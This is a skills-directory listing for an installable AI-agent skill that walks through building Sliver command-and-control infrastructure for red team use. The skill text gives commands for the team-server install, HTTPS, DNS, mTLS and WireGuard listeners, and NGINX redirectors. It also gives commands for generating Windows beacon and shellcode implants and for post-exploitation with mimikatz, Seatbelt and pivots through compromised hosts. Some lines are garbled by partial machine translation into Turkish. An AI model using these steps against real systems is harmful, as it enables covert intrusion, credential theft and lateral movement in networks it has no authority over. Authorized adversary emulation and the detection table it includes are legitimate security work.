Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team
Scanned 9/8/2026
Install to Claude Code
npx -y skills add MustafaKemal0146/fetih --skill building-c2-infrastructure-with-sliver-framework --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Building C2 Infrastructure With Sliver Framework?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/mustafakemal0146-building-c2-infrastructure-with-sliver-framework)More formats (shields.io, HTML) on the badges page.
---
name: building-c2-infrastructure-with-sliver-framework
description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team
engagements.
tags:
- c2-framework
- siber-güvenlik
- command-and-control
- red-team
- fetih
- post-exploitation
- cybersecurity
- infrastructure
- red-teaming
- sliver
- adversary-simulation
triggers:
- adversary emulation
- authentication
- building
- certificate
- cloud
- crypto
- dns
- exploit
- framework
- hash
- http
- infrastructure
category: red-team-operations
source_subdomain: red-teaming
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
adapted_for: fetih
---
# Building C2 Infrastructure with Sliver Framework
## Genel Bakış
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid Tespit.
## Ne Zaman Kullanılır
- Dağıt:ing yaparken or configuring building c2 infrastructure with sliver framework capabilities in your environment
- establishing yaparken: security controls aligned to compliance requirements
- building yaparken or improving security architecture for this domain
- conducting yaparken security assessments that require this implementation
## Ön Gereksinimler
- Familiarity with red teaming concepts and tools
- Erişim: a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Objectives
- Dağıt: a Sliver team server on hardened cloud infrastructure
- Configure HTTPS, mTLS, DNS, and WireGuard listeners
- Generate implants (beacons and sessions) for target platforms
- Kur: NGINX or Apache redirectors between implants and the team server
- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
- Configure multi-operator access with certificate-based authentication
- Establish operational security controls for C2 communications
## MITRE ATT&CK Mapping
- **T1071.001** - Application Layer Protocol: Web Protocols
- **T1071.004** - Application Layer Protocol: DNS
- **T1573.002** - Encrypted Channel: Asymmetric Cryptography
- **T1090.002** - Proxy: External Proxy (Redirectors)
- **T1105** - Ingress Tool Transfer
- **T1132.001** - Data Encoding: Standard Encoding
- **T1572** - Protocol Tunneling
## İş Akışı
### Aşama 1: Team Server Dağıt:ment
1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
3. Install Sliver using the official install script:
```bash
curl https://sliver.sh/install | sudo bash
```
4. Start the Sliver server daemon:
```bash
systemctl start sliver
# Or run interactively
sliver-server
```
5. Generate operator configuration files for team members:
```bash
new-operator --name operator1 --lhost <team-server-ip>
```
### Aşama 2: Listener Configuration
1. Configure an HTTPS listener with a legitimate SSL certificate:
```bash
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
```
2. Configure a DNS listener for fallback C2:
```bash
dns --domains c2dns.example.com --lport 53
```
3. Configure mTLS listener for high-security sessions:
```bash
mtls --lhost 0.0.0.0 --lport 8888
```
4. Configure WireGuard listener for tunneled access:
```bash
wg --lport 51820
```
### Aşama 3: Redirector Setup
1. Dağıt: a separate VPS as a redirector (positioned between targets and team server)
2. Install and configure NGINX as a reverse proxy:
```nginx
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
```
3. Configure iptables rules on the team server to only accept connections from the redirector:
```bash
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
```
4. Optionally Kur: Cloudflare as a CDN layer in front of the redirector for domain fronting
### Aşama 4: Implant Generation
1. Şunu üret:n HTTPS beacon implant:
```bash
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
```
2. Şunu üret: DNS beacon for restricted networks:
```bash
generate beacon --dns c2dns.example.com --os windows --arch amd64
```
3. Şunu üret: shellcode payload for injection:
```bash
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
```
4. Configure beacon jitter and callback intervals:
```bash
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
```
### Aşama 5: Post-Exploitation Operations
1. Interact with active beacons/sessions:
```bash
beacons # List active beacons
use <beacon-id> # Interact with a beacon
```
2. Execute post-exploitation modules:
```bash
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
```
3. Kur: pivots for internal network access:
```bash
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
```
4. Use BOF (Beacon Object Files) for in-memory execution:
```bash
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
```
## Tools and Resources
| Tool | Purpose | Platform |
|------|---------|----------|
| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
| Sliver Client | Operator console for team members | Cross-platform |
| NGINX | Redirector and reverse proxy | Linux |
| Certbot | Let's Encrypt SSL certificate generation | Linux |
| Cloudflare | CDN and domain fronting | Cloud |
| Armory | Sliver extension/BOF package manager | Built-in |
## Tespit Signatures
| Indicator | Tespit Method |
|-----------|-----------------|
| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |
## Doğrulama Criteria
- [ ] Team server Dağıtılmış and hardened with firewall rules
- [ ] HTTPS listener configured with valid SSL certificate
- [ ] DNS listener configured as fallback C2 channel
- [ ] At least one redirector Dağıtılmış between targets and team server
- [ ] Multi-operator access configured with unique certificates
- [ ] Implants generated for target operating systems
- [ ] Beacon callback intervals and jitter configured for stealth
- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)
- [ ] Pivot functionality validated for internal network access
- [ ] All C2 traffic encrypted and passing through redirectors
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: bc483f13f7574b19
-->
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!